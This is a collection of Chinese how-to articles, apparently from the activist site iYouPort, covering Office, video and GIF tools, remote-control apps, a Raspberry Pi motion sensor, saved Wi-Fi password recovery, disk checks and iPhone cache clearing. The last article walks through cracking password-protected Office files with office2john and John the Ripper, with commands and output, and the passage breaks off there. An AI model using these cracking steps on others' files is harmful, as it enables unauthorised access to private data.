- 在Word中编辑和格式化内容
- 当演讲内容发生变化时，自动更新讲义中的幻灯片

继续，选择 “创建讲义” 按钮。

发送到 Microsoft Word 窗口将出现几个不同的页面布局选项。选择一个最适合您的选项。在这个例子中，我们将选择 “幻灯片下方的空白行”。一旦准备就绪，点击 “确定”。

发送到 Microsoft Word 窗口将出现几个不同的页面布局选项。选择一个最适合您的选项。在这个例子中，我们将选择 “幻灯片下方的空行”。一旦准备就绪，点击 “确定”。

如果您希望Word文档中的幻灯片内容在编辑原始 PowerPoint 演示文稿时可以自动更新，请选择 “Paste link” 选项。

点击确定后，演示文稿将自动在一个新的Word文档中打开。要编辑幻灯片内的任何内容，只需双击幻灯片并开始编辑即可。

如果您选择了 “幻灯片下面的空行” 选项，每张幻灯片下面都会有足够的空间来留下注释。如果在 PowerPoint 版本中已经有了注释，并选择了相应的布局，它们将出现在讲义中。○

How to Convert a DOCX Document to a PPTX File

原文

如何将图片转换成电影的简单方法 - iYouPort

技术-攻击防御和反抗

没必要去电影学校

「图」

「图」

活动家的在线宣传完全可以更精彩，比如电影就比图片更新吸引人，您可以尽情发挥您的创意，人们会被您的魅力所吸引，从而跟随您，至少可以促进更多注意到您希望传达的信息。

您无需聘请专业视频制作人，自己就可以做，如果您认为需要为此项目花钱，那就错了。

今天，您将学习如何轻松地将图片制作成电影。使用这种方法，您可以以更加愉悦的方式欣赏它，并分享以获得更大的影响力。

你需要什么

USB电缆，图片（在文件夹或数码相机中）和视频编辑软件 —— 是您制作图片电影所需要的。

您可以使用任何视频编辑器，但建议考虑使用 Windows Movie Maker 或内置程序。这样做意味着您无需下载第三方工具。

流程

首先，启动视频编辑器。

「图」

「图」

然后单击导入。

如果您已经将要使用的图片加载到计算机的文件夹中，请选择从文件夹导入。

如果它们仍在数码相机的存储卡中，请选择从USB设备导入。

「图」

「图」

勾选照片右上角的框，选择要添加到电影中的照片。然后，选择 + Add to.。

「图」

「图」

然后将出现一个窗口。它要求您指定要添加所选图片的位置。在此处，选择 New video with music。

「图」

「图」

然后，您将为新视频命名。输入名称后，单击创建视频。

「图」

「图」

输入电影的基本详细信息后，即可访问情节提要。在这里，您可以使用提供给您的许多选项来编辑电影。

您可以添加标题，设置电影的时长，调整大小，使用滤镜，添加文本，选择动态和添加3D效果。

「图」

「图」

在此阶段所做的不是最终的。您始终可以通过单击播放按钮查看进度。如果您要删除所做的所有修改也可以。只需点击全部删除。

「图」

「图」

提醒

如前所述，此处使用的视频编辑器是 Windows 内置程序。您需要注意所使用的设备。

如果您使用的是Mac，也可以使用其内置的电影制作工具。尽管确切的过程可能有所不同，但概念是一样的。

完成电影

如果您对这部电影100％满意，则可以整理一下。从顶部选择“完成视频”。

「图」

「图」

然后将出现一个窗口。它将为您提供完成项目的不同选项。选择适合您目的的一种。

「图」

「图」

如上所述，活动家的宣传能力可以借助各种现代技术获得提升，这大概是互联网能给您的最好的东西了。尽情发挥。〇

原文

如何将您的Google幻灯片演示文稿变成视频和GIF？ - iYouPort

技术-攻击防御和反抗

中国有很多优秀的互联网技术玩家，只是很多技术的使用限于营销的目的。并不是说营销不对，而是可惜活动家社区在宣传推广自己的理念方面做的不够帅气。IYP介绍了很多有趣的玩法，帮助活动家社区在动员方面更具魅力

「图」

「图」

使用 Microsoft Powerpoint，您可以轻松地将演示文稿转换为高分辨率视频文件，以上传到YouTube和其他视频网站。

导出的视频文件还可以包含演示文稿中可能包含的所有语音旁白和背景音频。

Google 幻灯片没有提供将演示文稿另存为视频的选项，但有一个新插件 —— "Creator Studio"，可以为您的Google幻灯片带来新的导出功能。

使用 Creator Studio，您还可以将演示文稿另存为动画GIF、图像序列、和高清视频（带有音频的哦）。

下面是视频教程：

首先，请转到 creatorstudio.dev 并安装Google幻灯片附加组件。它需要某些权限，因为它必须读取图像以将其转换为电影。

由于导出的文件会自动上传到您的Google云端硬盘，因此它还需要访问您在Google云端硬盘中创建文件的权限。

安装附加组件后，打开Google幻灯片中至少包含2张以上幻灯片的任

何文稿。转到附加组件菜单，选择 Creator Studio，它将打开一个侧边栏。

指定输出文件的宽度（以像素为单位）。 Creator Studio 将自动计算高度以保持演示文稿的原始宽高比。

接下来，指定时间间隔（以秒为单位），这是每张幻灯片在进入下一张幻灯片之前在视频中可见的持续时间。

「图」

「图」

最后，您有多种导出选项可供选择，而这些选项在Google幻灯片中本身是不可用的。

动图 ——

可以创建无限循环的GIF图像，非常适合在加密通信和博客帖子中共享。您甚至可以通过将时间间隔设定得很短（例如0.2秒）来制作定格动画。

图像序列 ——

Creator Studio 将捕获演示文稿中每张幻灯片的屏幕截图，并将其另存为PNG文件到您的Google云端硬盘文件夹中。在内部，它使用 Google Slides API 生成这些缩略图。

MP4视频 ——

像GIF图像一样，Creator Studio 也可以生成MP4视频文件，您还可以调整播放速度。

带音频的视频 ——

您可以上传任何MP3或WAV格式的音频文件，该文件将与演示文稿一起播放。也就是说，您可以上传背景音乐甚至语音旁白。

「图」

「图」

下面专门说一下做GIF的方法。因为它是活动家宣传工作中利器之

一。

介绍适用于Google幻灯片的全新 “Tall Tweets” 应用。它将帮助您将演示文稿转换为高质量的动画GIF，并将其添加到电子邮件中、嵌入到网页中、或直接在 Twitter 上共享。

下面是演示视频：

首先，请打开 talltweets.com，使用您的Google帐户登录，然后从Google云端硬盘中选择任何现有的演讲文稿。

TallTweets 应用程序可以将整个文稿转换为无限循环的GIF，也可以选择将演示文稿的各个幻灯片转换为PNG图像。

「图」

「图」

您可以使用多个选项来自定义生成的GIF图像。您可以指定GIF图像的宽度（高度将自动计算以保持原始的宽高比），还可以通过更改幻灯片之间的时间间隔来加快或减慢播放速度。

在**GIF**中跳过或重新排序幻灯片

GIF制作工具的一个独特功能是，它使您可以选择更改生成的GIF中的幻灯片图像出现顺序。

「图」

「图」

假设您的演示文稿有6张幻灯片。如果将序列输入框留为空白，则会按顺序显示所有幻灯片在GIF中。但是，您可以跳过其中某些幻灯片、对其重新排序、甚至更改单个幻灯片显示的时间长度。

比如 1,2,3,6 —— 就是跳过 #4和#5 播放；

6,5,4,3 —— 将颠倒幻灯片的顺序；

1,2,2,2,3,4 –将延长幻灯片＃2的持续时间。

首次启动 Tall Tweets 时，将需要您授权对 Google 云端硬盘的访问权限，以便它可以选择 Google Presentation 来生成幻灯片。它会在您

的浏览器中本地生成GIF，并且每个字节都不会离开您的Google帐户。

您学会了吗？希望中国的活动家在宣传方面有更多创新，并因此吸引到更多的支持者，加油！〇

原文

如何将手机变成PC遥控器 - iYouPort

技术-攻击防御和反抗

葛优躺爱好者喜欢的东西

「图」

「图」

如今很少有人看电视了，越来越多的人选择通过电脑进行在线娱乐。这也意味着人们坐在电脑桌的时间可能比以前更长。

当然，有些人可以访问连接到其主要电视或智能电视的游戏机，他们可以使用这些游戏机直接观看电影和节目。但是，并非每个人都如此幸运。

尽管您可能没有 Sony PlayStation 4 或三星最新的 Ultra HD 之一，但您很有可能拥有智能手机。这就够了。

用您的手机就可以整合一个以计算机为中心的家庭影院。

只需下载以下其中一个应用，您最终就可以将手机用作PC遥控器，从舒适的沙发上浏览计算机屏幕。

将手机变成**PC**遥控器

在 Google Play 和 Apple App Store 中有很多PC远程控制应用可供选择。大多数都可以在 Windows 和 Mac 操作系统上使用。

还有一些应用程序可以将您的手机变成一个通用遥控器，该遥控器可以控制您家中从冰箱到空调的所有事物 —— 听起来很可怕啊。

- 不要错过《你家冰箱如何作为呈堂证供？》

这里介绍的不是那种APP。

「图」

「图」

"Remote Mouse"

Remote Mouse（RM）是您会发现的最容易使用的PC远程控制应用程序之一。它是100%免费的，可将您的 Android 或 iOS 智能手机转换为计算机的无线输入设备。

RM 有超过一百万的活跃用户，并支持 Android、iOS、Windows 和 Mac 操作系统。

1、分别通过 Google Play 或 App Store 在 Android 或 iOS 设备上下载并安装 Remote Mouse 客户端。

2、您还需要将服务器下载到您的计算机上。不要担心它相对较小，仅为706 KB，而手机应用程序为9 MB。

3、安装后，计算机和手机都必须连接到同一 WiFi 热点或路由器。这将允许两个设备同步。

4、建立连接后，请同时运行服务器和客户端应用程序。

5、从客户端应用程序上，您应该能够看到当前连接到同一WiFi网络的所有设备的列表。

6、点击您要使用该应用程序控制的设备的名称。

- 如果未显示您要查找的设备，请点击＋图标，然后选择 Connect by IP。在提供的文本字段中输入设备的IP地址。

7、从电话到计算机的连接成功后，客户端应用程序将打开其主要用户界面。

- 该界面包含六个功能图标，一个“设置”菜单和一个“电源”按钮。
- 图标正上方是模仿计算机鼠标的三个按钮（左键单击，中键单击/滚动和右键单击）

「图」

「图」

- 屏幕的主要部分是不可编辑的文本区域，将显示最近键入的文本。

「图」

「图」

- Remote Mouse可以在两种模式下使用：纵向和横向。

「图」

「图」

Remote Mouse 会记住已连接到手机的所有设备。如果您不喜欢默认的绿色，则可以将界面的背景更改为更喜欢的图像。

「图」

「图」

"KiwiMote"

这绝对是您在Google Play商店中找到的评价最高的应用之一。

此应用支持所有4.0.1或更高版本的 Android，并且需要安装适用于 Windows、Mac 和 Linux 操作系统的计算机端服务器。

该服务器仅占用2 MB的硬盘驱动器存储空间，但需要在系统上安装 Java 才能正常工作。

必须使用 WiFi 连接才能将 KiwiMote 从手机连接到计算机。较酷的功能之一是 KiwiMote 允许您通过使用手机扫描计算机上的QR码来建立连接。或者，您必须输入IP地址，端口号和唯一的PIN才能建立连接。

「图」

「图」

您将获得键盘、鼠标和游戏手柄等基本的PC远程控制功能，但该应用程序不允许您查看计算机屏幕。

取而代之的是，您可以使用针对多种桌面应用程序的一些用户友好界面，例如 Adobe PDF Reader 和 VLC Media Player。

KiwiMote 由广告资助，因此完全免费下载和使用。

「图」

「图」

"Unified Remote"

Unified Remote 是最有趣的远程应用程序之一，并且是在此列表中唯一具有付费选项的应用程序。

与本文中的其他两个类似，它需要一个手机端应用程序和一个计算机端服务器才能工作。

它不仅适用于 Windows、Mac 和 Linux 操作系统，而且还可以控制其他设备，包括 Raspberry Pi 和 ArduinoYún。

「图」

「图」

免费版的 Unified Remote 随附标准必需品（键盘、鼠标和音量），明暗主题可供选择，并提供18个免费遥控器，并支持单点和多点触摸鼠标控制。

它与其他两个设置一样简单，提供自动服务器检测和密码保护。

如果您决定以$ 3.99的价格购买完整版，则可以使用90多个遥控器，可以自定义自己的遥控器以及使用语音命令的功能。

最后，在不用的时候不要忘了把Wi-Fi关掉，它不安全。见《Wi-Fi是如何出卖你的？》○

原文

如何手动制作运动传感器监视室内任何人的出入 - iYouPort

技术-攻击防御和反抗

动手游戏，做自己的物联网

「图」

「图」

开箱即用，树莓派是一款功能强大、用途广泛的单片机电脑，您可以用它来完成无数物联网项目。还可以通过传感器、模块、电机、显示器和其他组件来扩展您的树莓派，使其更加强大。本文将向您展示如何构建一个树莓派运动传感器。

您将了解到如何将PIR传感器连接到您的树莓派上，并编写一个简单的程序来处理来自这个PIR传感器的输入。您的树莓派将能够检测到有人进入或离开房间。

什么是PIR传感器？

每个有温度的物体都会发出少量的红外光（IR），PIR传感器通过监视这些IR电平来检测运动。

当PIR传感器处于闲置状态时，它检测该区域的环境IR电平。当有东西在传感器前移动时，PIR会检测到IR电平的正差变化。您就会知道有人、动物或有生命的物体进入了感应区域。当人或动物离开感应区域时，PIR传感器将检测到负差变化。

您可以通过创建一个程序或安装软件来监测这些红外水平的波动，从而检测到移动。

您需要什么

要完成本教程，您需要准备以下这些东西：

- 运行 Raspbian 的树莓派。如果您还没有 Raspbian，可以在这里获取最新版本并使用 Etcher 对其进行刷新。
- 与树莓派兼容的电源线
- 外接键盘以及将其连接到树莓派的方法
- HDMI或微型HDMI电缆，具体取决于您的树莓派型号
- 外接显示器
- 无焊面包板，用于组织电路中的所有组件
- 六个公母跳线：两根红色，两根黑色，一根棕色和一根橙色
- 与树莓派兼容的PIR传感器

「图」

「图」

准备好这些后现在就可以组装电路了。

步骤

1、将跳线连接到**PIR**传感器

首先，您需要以下三种颜色的公母跳线：红色，棕色和黑色。

「图」

「图」

您需要将每根跳线连接到PIR传感器的不同引脚上：

- 红线接PIR-VCC
- 棕色线接PIR-OUT
- 黑色线接PIR-GND

2、将跳线连接到面包板上

面包板两侧的＋和－指示正负极。

「图」

「图」

您需要把线连接到正确的位置：

- 红色 (PIR-VCC) 连接到正极导轨
- 黑色 (PIR-GND) 连接到负极导轨
- 棕色 (PIR-OUT) 连接到其他空白导轨

「图」

「图」

3、将您的树莓派连接到面包板上

拿到套件中剩余的三根跳线：红色、黑色和橙色。这些线将用于将树莓派连接到面包板。具体来说，您将在树莓派上使用以下GPIO引脚：

- GPIO GND [Pin 6]
- GPIO 5V [Pin 2]
- GPIO 7 [Pin 26]

在下图中看到这些引脚标记。

「图」

「图」

使用公对母跳线将以下每个引脚连接到面包板上：

- 黑色 —— 连接到 GPIO GND [Pin 6]，然后将此线连接到面包板的负极
- 红色 —— 连接到GPIO 5V [Pin 2]，然后将该线连接到面包板的正极
- 橙色 —— 连接到 GPIO 7 [Pin 26]。您将使用此线来监视PIR何时检测到运动，因此请确保将该线连接到与PIR-OUT（棕色跳线）相同的导轨上

「图」

「图」

就是这样！您已经组装好电路，PIR传感器现在将向树莓派报告IR的波动。下一步是编写一个能够处理这些数据的程序。

设置您的树莓派

1、连接

确保所有的外围设备都连接到您的树莓派上，比如键盘、显示器和以太网线，如果您不是通过Wi-Fi连接的话。最后，连接电源线，并启动您的树莓派。

如果这是您第一次启动 Raspbian，请按照安装说明进行操作，并确保您已连接到互联网。

在创建 Python 脚本之前，您需要安装 RPi.GPIO 模块，这将允许您控制树莓派的GPIO引脚。

要安装 RPi.GPIO，请通过单击 Raspbian 工具栏中的 “终端” 图标打开 “终端” 窗口，然后运行以下命令：

sudo apt-get install python-rpi.gpio

树莓派现在将下载并安装 RPi.GPIO 软件包。

2、在 **Thonny Python** 中创建程序

接下来，编写 Python 脚本，该脚本将处理从PIR传感器接收到的所有信息。

由于该IDE（集成开发环境）与 Raspbian 捆绑在一起，因此在 Thonny Python 中创建此脚本。

在工具栏中选择 Raspberry Pi 图标。

然后导航到 “Programming -」 Thonny Python IDE.”

选择 “New”。

注：本教程逐行讲解脚本，这样您就可以准确地看到每段代码中发生了什么。如果您只是想复制/粘贴，可以在本教程的最后找到完整的脚本。

第一步是导入 Python GPIO 库：

import RPi.GPIO **as** GPIO

在整个代码中使用了一些延迟，因此导入“时间” 库：

```
import time
```

当您使用 RPi.GPIO 时，您可以使用它的引脚编号(BOARD)或Broadcom GPIO编号(BCM) 来引用每个引脚。虽然这两种方法都是正确的，但您必须确保在整个程序中使用相同的编号系统。本教程使用BCM，所以将GPIO编号模式设置为 BCM。

```
GPIO.setmode(GPIO.BCM)
```

在整个脚本中都会引用输入引脚，因此该引脚需要一个名称。本教程使用的是PIR_PIN：

```
PIR_PIN = 7
```

接下来，说明 PIR_PIN 是一个输入引脚：

```
GPIO.setup(PIR_PIN, GPIO.IN)
```

然后您将创建一条消息，该消息将打印到 Thonny Python 的控制台（也称为Shell）上，以便您可以看到电路在线并且可以检测运动。

在以下代码段中，在消息的第一部分和第二部分之间添加了两秒钟的延迟：

```
try:

print ("PIR Module Test")

time.sleep(2)

print ("Ready")
```

要让程序持续检查来自 PIR 传感器的输入，使用 “True” 来创建一个无限循环。每次检测到移动时，脚本会打印一条消息到 Thonny Python 控制台。为了确保在检测到移动时只收到一个输出，可以添加一秒钟的延迟。

```
while True:

if GPIO.input(PIR_PIN):

print ("Movement detected")
```

time.sleep(1)

最后退出。

except KeyboardInterrupt:

print ("Quit")

GPIO.cleanup()

通过单击 “保存” 按钮来保存更改。

「图」

「图」

就是这样！您刚刚创建了一个脚本来监视PIR传感器，并在每次检测到运动时执行任务。

是否想直接将代码复制/粘贴到 Thonny Python 中？下面是完成的脚本：

import RPi.GPIO **as** GPIO

import time

GPIO.setmode(GPIO.BCM)

PIR_PIN = 7

GPIO.setup(PIR_PIN, GPIO.IN)

try:

print ("PIR Module Test")

time.sleep(2)

print ("Ready")

while True:

if GPIO.input(PIR_PIN):

print ("Movement detected")

time.sleep(1)

except KeyboardInterrupt:

print ("Quit")

GPIO.cleanup()

不要忘记点击“保存”。

测试一下

现在您已经保存了脚本，可以单击 “运行” 按钮来对其进行测试了。

「图」

「图」

片刻之后，您的程序应打印出 “PIR Module Test / Ready” 消息。

知道传感器在线后，请故意触发PIR传感器以检查其对运动的响应。在传感器前面挥挥手，“Thonny Python” 控制台中应显示 “Movement detection”。

有了无限的 “True” 循环该程序可以无限期运行，因此您需要通过单击 “停止” 按钮来手动将其停止。

恭喜完成！

最后

您的树莓派现在可以检测运动，并在每次检测到运动时执行任务。这是广泛的物联网和智能家居项目的完美基础。以此为基础，您还可以用其他简单的组件替换您的PIR传感器，如摄像头、蜂鸣器和开关。您还可以将其用于另一个物联网项目。〇

How to Build a Raspberry Pi Motion Sensor

原文

如何查看 Android 设备已连接到的Wi-Fi网络密码 - iyouport

技术-攻击防御和反抗

【2019年10月22日存档】千万不要分享给不可靠的人。

您的手机可能已连接到数十个Wi-Fi网络。学校、家、工作单位、健身房、朋友的房子、咖啡店 ……

每次您输入其中一个 Wi-Fi 密码时，您的 Android 设备都会将其保存起来，以便日后轻松访问。

这里唯一的麻烦在于，您无法查看设备存储的 Wi-Fi 密码。

也许您想要将第二个设备连接到其中一个网络，或者朋友想要登录同一个热点，但无法访问设备存储的实际密码。

因此，开发人员 Alexandros Schillings 决定通过一个应用程序来解决这个问题，该应用程序允许您查看您在 Android 设备上保存过的每个Wi-Fi密码。

该应用程序需要 root 访问权限，但它可以非常轻松地查找和共享存储的 Wi-Fi 密码。

看一个视频，后面是文字介绍：

第一步：安装 **WiFi Key Recovery**

Schillings 的应用程序称为 WiFi 密钥恢复，它可以在 Google Play 商店免费获得。

安装在您的 root 设备上。

- **Install WiFi Key Recovery for free from the Google Play Store**

第二步：查看已保存的 **Wi-Fi** 密码

当您首次启动WiFi密钥恢复时，该应用程序将要求超级用户访问权限。

点击弹出窗口中的“授予”，然后您将进入包含您曾连接过的所有Wi-Fi网络的列表，其中每个条目在“psk”字段中显示密码。

如果您在拥有 Android 设备的过程中连接了许多不同的Wi-Fi网络，那么您的列表可能会很长。

如果是这种情况，您可以使用“SSID Quicksearch”字段搜索特定的Wi-Fi网络。

第三步：共享**Wi-Fi**密码

如果您需要与其他设备共享其中一个密码，这里有一些选项。

首先点击列表中的任何条目，然后会弹出一个小菜单。这允许您使用 Android 的内置共享系统来发送密码或整个条目。

还有一个通过QR代码共享的选项，但这需要您安装一个额外的应用程序。我们解决没必要；如果你需要的话记得它是可用的。

如果您想存储整个列表以便妥善保管，请点按设备的硬件菜单按钮（或软件导航栏中的三点菜单按钮）。

选择“导出”以生成包含所有这些信息的文本文件。

您可以使用 Android 的共享菜单将此文件发送到另一台设备，或者如果您希望将此文本文件的副本保存到设备的存储分区，则只需点击“To SD”即可。

当然，如果您的列表不是太长，您可以随时拍摄（并分享）屏幕截图。

⚠顺便重申下，Wi-Fi是不安全的东西；如果您出席敏感的聚会，建议不要使用Wi-Fi。在这里看到解释《为什么你不应该使用Wi-Fi》。○

原文

如何检查您的硬盘驱动器是否有问题 - iyouport

技术-攻击防御和反抗

以便您可以及时转移数据。

硬盘故障可能意味着珍贵的图片、重要的文件的灾难性损失。因此，例行检查您的硬盘是否有可能出问题可能是必要的。

无论是在 Windows 还是 Mac 上，都有许多工具可以帮助您诊断硬盘并修复它。如果您怀疑硬盘接近失效，一定要尝试对您的所有数据进行备份，或者在运行下面的任何工具之前克隆您的硬盘。

如何在 Windows 上检查您的硬盘是否出问题

「图」

Windows 包括内置工具可以帮助检查您的硬盘，制造商也可能提供工具来帮助诊断。

1、运行 Chkdsk

「图」

Windows 的内置磁盘检查工具是诊断硬盘问题的最简单方法之一。

以管理员身份打开命令提示符。

在命令提示符出现后，输入 chkdsk 并点击回车。它可能需要几秒钟到几分钟来扫描您的驱动器。如果它发现了错误，它将纠正那些它可以纠正的错误。如果它发现了重大的错误，该操作将需要更长的时间来修复。它将在运行结束时向您提供一份它不能修复的错误报告。

2、使用 SeaTools

「图」

SeaTools 是 Seagate 专用的硬盘工具。它旨在寻找其他程序可能遗漏的希捷制造的硬盘的可能问题。

有五个版本可供选择；

- Seagate Bootable，可以加载到U盘上。
- SeaTools Legacy Tools，可以访问旧版本的软件。
- SeaTools SSD CLI，一个为固态硬盘设计的命令行工具。
- SeaTools SSD GUI，一个为固态硬盘设计的图形仪表板。
- SeaTools，该工具的最基本版本。

每个版本的操作方式略有不同。启动 SeaTools，它会向您显示每个可用的驱动器。

- 单击以选择驱动器。
- 点击 “自我测试 “开始扫描。
- 在扫描结束时，它将向您显示任何出现的问题。

3、试试三星魔术师软件

「图」

如果您有一个三星生产的硬盘，三星魔术师软件允许您做以下事：

- 监测您的硬盘性能，密切关注其健康状况。
- 自定义设置。
- 查看您的硬盘在使用时的温度。
- 运行基准来衡量速度，以及诊断性扫描来寻找潜在的问题。
- 自定义超额配置功能进行常规维护以释放硬盘内的空间。

4、学习阅读**HDD S.M.A.R.T.**属性

「图」

每一块硬盘都有一个叫做S.M.A.R.T.的内置功能，即自我监测、分析和报告技术。它可以跟踪像以下这样的信息点：

- 气流温度
- 电源循环次数

- 通电时间

像HDD扫描这样的工具将信息提炼成不同的数据点列表。旁边的绿色标记意味着可以正常工作；如果出现黄色标记意味着您应该关注它，而红色标记则表明有问题。

HDD扫描的强项之一是它能够轻松打印报告。如果您正在监控一个您怀疑出现恶化的硬盘，请保留报告的物理副本，以分析一段时间内的趋势。

5、使用 **Crystal Disk Info**

「图」

Crystal Disk Mark 是测量任何驱动器的读写速度的最佳工具之一。Crystal Disk Info 是该工具的诊断版本，可查看您的驱动器的健康状况，通知您异常情况，包括监测S.M.A.R.T.属性。

Crystal Disk Info 的界面很简陋，但它使用起来很简单，而且完全免费下载。如果您正在寻找一个轻量级的免费工具来跟踪您的驱动器的健康状况，这个应用程序是值得考虑的。

如何在**Mac**上检查您的硬盘是否出问题

「图」

在Mac上没有那么多的第三方工具可用，但有一些强大的内置工具。

1、使用**Mac**磁盘工具

「图」

与 Windows 的检查磁盘工具一样，macOS也有一个内置的工具，叫做 Disk Utility，它可以完成从分区驱动器到监测驱动器健康的所有工作。访问它的最简单方法是下面的步骤：

- 打开Spotlight（Command＋空格键），搜索 Disk Utility
- 从列表中选择一个驱动器，右键单击它，然后选择获取信息。这将显示一个关于您的Mac驱动器的相关信息列表。

向下滚动到写有S.M.A.R.T.状态的地方。它将显示 “已验证”、“失

败”，或者在某些情况下，“不支持”。如果它说“已验证”，那就没问题；如果它说“失败”，表明您的硬盘可能接近失败；如果它说“不支持”，说明您的硬盘不支持S.M.A.R.T.。

「图」

2、使用 Blackmagic 磁盘速度测试

「图」

如果Mac磁盘工具不能为您提供所需的信息，第三方应用程序可以提供帮助。Blackmagic Disk Speed Test 就是这样一个工具，它可以测量您的Mac的读写速度。然后您可以将这些读数与您的机器的标准性能数字进行比较。

如果您觉得您的硬盘没有做出应有的反应，可以测试一下上述这些程序之一。虽然您几乎无法修复一个出现故障的驱动器，但如果您知道它已经接近故障，就可以及时将数据转移到安全的地方。〇

How to Check Your Hard Drive for Errors

原文

如何清除 iPhone 和 iPad 上的缓存 - iyouport

技术-攻击防御和反抗

腾出空间，提高速度。

清除缓存可以优化您的 iPhone 和 iPad。旧的临时文件会占用空间，有可能影响您的浏览器和其他应用程序的速度和效率。以下是一些清除缓存的方法。

iPhone 为您访问的网站存储缓存，以便在您再次打开它们时快速加载。类似的也适用于获取新更新的应用程序。但是，如果缓存变得太旧，它就不再匹配新的网站数据，网页和应用程序的加载时间就会变慢。因此，清除缓存可以释放存储空间，并提供一个更平滑的整体性能。

如何清除 iPhone 上的浏览器缓存

「图」

从浏览器中删除旧的临时文件有利于将页面加载速度恢复到正常水平，并为较新的缓存文件腾出空间。下面将介绍如何在 Safari、Chrome 和 Edge 中清除缓存。

1、在 Safari 浏览器中清除缓存

「图」

在 iPhone 或 iPad 上打开 “设置”。

选择 “Safari”。

向下滚动并选择 “清除历史记录和网站数据”。这也会删除所有浏览历史记录和 cookie。

「图」

点击弹出的窗口进行确认。

2、在谷歌浏览器中清除缓存

「图」

打开谷歌浏览器，点击右边的三个点。

选择 “设置”。

前往 “隐私” 部分。

选择 “清除浏览数据”。

选择 “时间范围” 并选择 “所有时间”。然后，选择要删除的项目。请记住，如果您已启用 Chrome 同步，则删除密码、浏览数据和自动填充也会将其从 PC 或 Mac 上的 Chrome 中擦除。

点击底部的红色 “清除浏览数据”，确认弹出的信息。

3、在 **Microsoft Edge** 中清除缓存

「图」

在 iPhone 上打开 Microsoft Edge 浏览器。

点击底部中间的三个横点。

从弹出的菜单中选择 “设置”。

点击 “隐私和安全”。

选择 “清除浏览数据”。

点击 “时间范围” 并选择 “所有时间”。选择要从 Microsoft Edge 中删除的项目。

点击底部的 “立即清除” 以删除那些不需要的数据。

清除 **iPhone** 上第三方应用程序的缓存

「图」

一些第三方应用程序都有一个清除缓存的选项，以确保在您的 iPhone 上有一个流畅的体验。不同的是，该选项要么在设置应用中，要么在应用程序本身中。例如，您可以通过清除官方 Twitter 应用程序的缓存，使其在您的iPhone上更快。

首先，在您的 iPhone 或 iPad 上打开官方 Twitter 应用程序。点击左上角的个人资料图片。

选择 “设置和隐私”。

点按 “辅助功能、显示和语言”。

点击 “数据使用”。

在 “存储” 部分下，选择 “媒体存储”。

选择 “清除媒体存储” 并点击确认提示。

对 “网页存储” 重复同样的过程，并选择是否要删除 Twitter 应用程序的所有数据，或只删除您在其中访问过的网站。

除了清除浏览器和应用程序的缓存，您还可以腾出空间，加快您的iPhone速度。

删除和重新安装应用程序

「图」

没有多少应用程序在设置中提供了删除缓存的选项。这就只有一个选择了：删除并重新安装应用程序。这个过程会删除缓存和其他应用程序的文件。当然，您将需要再次登录一些应用程序。不过，使用内置的密码管理器或第三方密码管理器应用程序，可以使之变得简单。

另外，为了释放您的 iPhone 或 iPad 上的空间，您可以卸载未使用的应用程序，而不是删除和重新安装它们。这将从您的设备上删除应用程序，同时保留数据文件，以防您以后想再次使用该应用程序。

最后

「图」

您可能在iPhone上存储了成千上万的照片和视频，最终可能会耗尽空间。照片应用可以让您把这些照片备份到iCloud，但是，如果您的照片比较敏感，非常建议不要使用云存储。当然，您也不应该将非常敏感的任何资料在手机中保存。使用加密的外置存储是最好的。

如果您的 iPhone 或 iPad 的迟缓现象持续存在，可以随时重置为出厂设置。●

原文

如何破解受密码保护的Microsoft Office文件，包括Word文档和Excel电子表格 - iYouPort

hacktivist技术-攻击防御和反抗

这种攻击方法如今依旧流行

「图」

「图」

可以对 Microsoft Office 文件进行密码保护，以防止篡改并确保数据完整性。但事实上可能并非如此。来自 Office 早期版本的受密码保护的文档很容易使用被称为 office2john 的简单程序提取其哈希。然后可以使用 John the Ripper 和 Hashcat 来破解。

使用 office2john 工具从受密码保护的 Microsoft Office 文件中提取哈希仅需要几秒钟。

尽管多年来不同Office产品之间的加密标准一直在波动，但它们都无法抵御 office2john 的哈希窃取功能。

该工具是用Python编写的，可以直接在终端上运行。

关于 Office 兼容性，已知可以用于 Word、Excel、PowerPoint、OneNote、Project、Access 和 Outlook，用于 Office 97、Office 2000、Office XP、Office 2003、Office 2007，Office2010、Office 2013 上创建的任何受密码保护的文件，包括 Office for Mac 版本。

以下是 null-byte 演示的操纵步骤。

第一步：安装 Office2John

首先需要从 GitHub 下载该工具，因为标准版本的 John the Ripper

中并未包含 office2john（该版本已安装在 Kali 系统中）。使用 **wget** 可以轻松实现。

```
~# wget https://raw.githubusercontent.com/
magnumripper/JohnTheRipper/bleeding-jumbo/run/
office2john.py --2019-02-05 14:34:45-- https://
raw.githubusercontent.com/magnumripper/
JohnTheRipper/bleeding-jumbo/run/office2john.py
Resolving raw.githubusercontent.com
(raw.githubusercontent.com)... 151.101.148.133
Connecting to raw.githubusercontent.com
(raw.githubusercontent.com)|
151.101.148.133|:443... connected. HTTP request
sent, awaiting response... 200 OK Length: 131690
(129K) [text/plain] Saving to: 'office2john.py'
office2john.py
100%[=================================================
128.60K --.-KB/s in 0.09s 2019-02-05 14:34:46
(1.45 MB/s) - 'office2john.py' saved
[131690/131690]
```

第二步：确保所有内容都在同一目录中

为了使用 Python 运行 office2john，需要切换到与安装相同的目录。

对于大多数人来说，默认情况下是 Home（只需输入cd），但是可以随时创建一个单独的目录。

接下来需要一个适当的文件对其进行测试。在此使用的是自己创建的简单DOCX文件“ dummy.docx”，并使用 Word 2007 对其进行了密码保护。

下载并继续。您会发现密码是“ password123”。您还可以下载使用 Word 2010 和 Word 2016（显示2013）制作的文档，以用于更多示例。这些文档的密码也是“ password123”。

第三步：使用 **Office2john** 提取哈希

需要做的第一件事是提取受密码保护的Office文件的哈希。运行以下命令，并将输出传递到“ hash.txt”，以供以后使用。

```
~# python office2john.py dummy.docx 」 hash.txt
```

要验证哈希是否已成功提取，请使用 **cat** 。可以看到这里保存的哈希对应于 Microsoft Office2007。整洁。

```
~# cat hash.txt dummy.docx:$office
$*2007*20*128*16*a7c7a4eadc2d90fb22c073c6324b6b49*abc5f8
```

第四步：破解刚刚保存的哈希

如前所述，这里将向您展示两种破解从密码保护的 Microsoft Office 文件中提取的哈希的方法。两种方法都很好用，所以这完全取决于您的偏好。

方法一：使用 John

用**—wordlist** 指定字典（可以对字典再添加规则）。

```
~# john --wordlist=/usr/share/wordlists/nmap.lst
hash.txt Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013
[SHA1 128/128 SSE2 4x / SHA512 128/128 SSE2 2x
AES]) Cost 1 (MS Office version) is 2007 for all
loaded hashes Cost 2 (iteration count) is 50000
for all loaded hashes Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key
for status
```

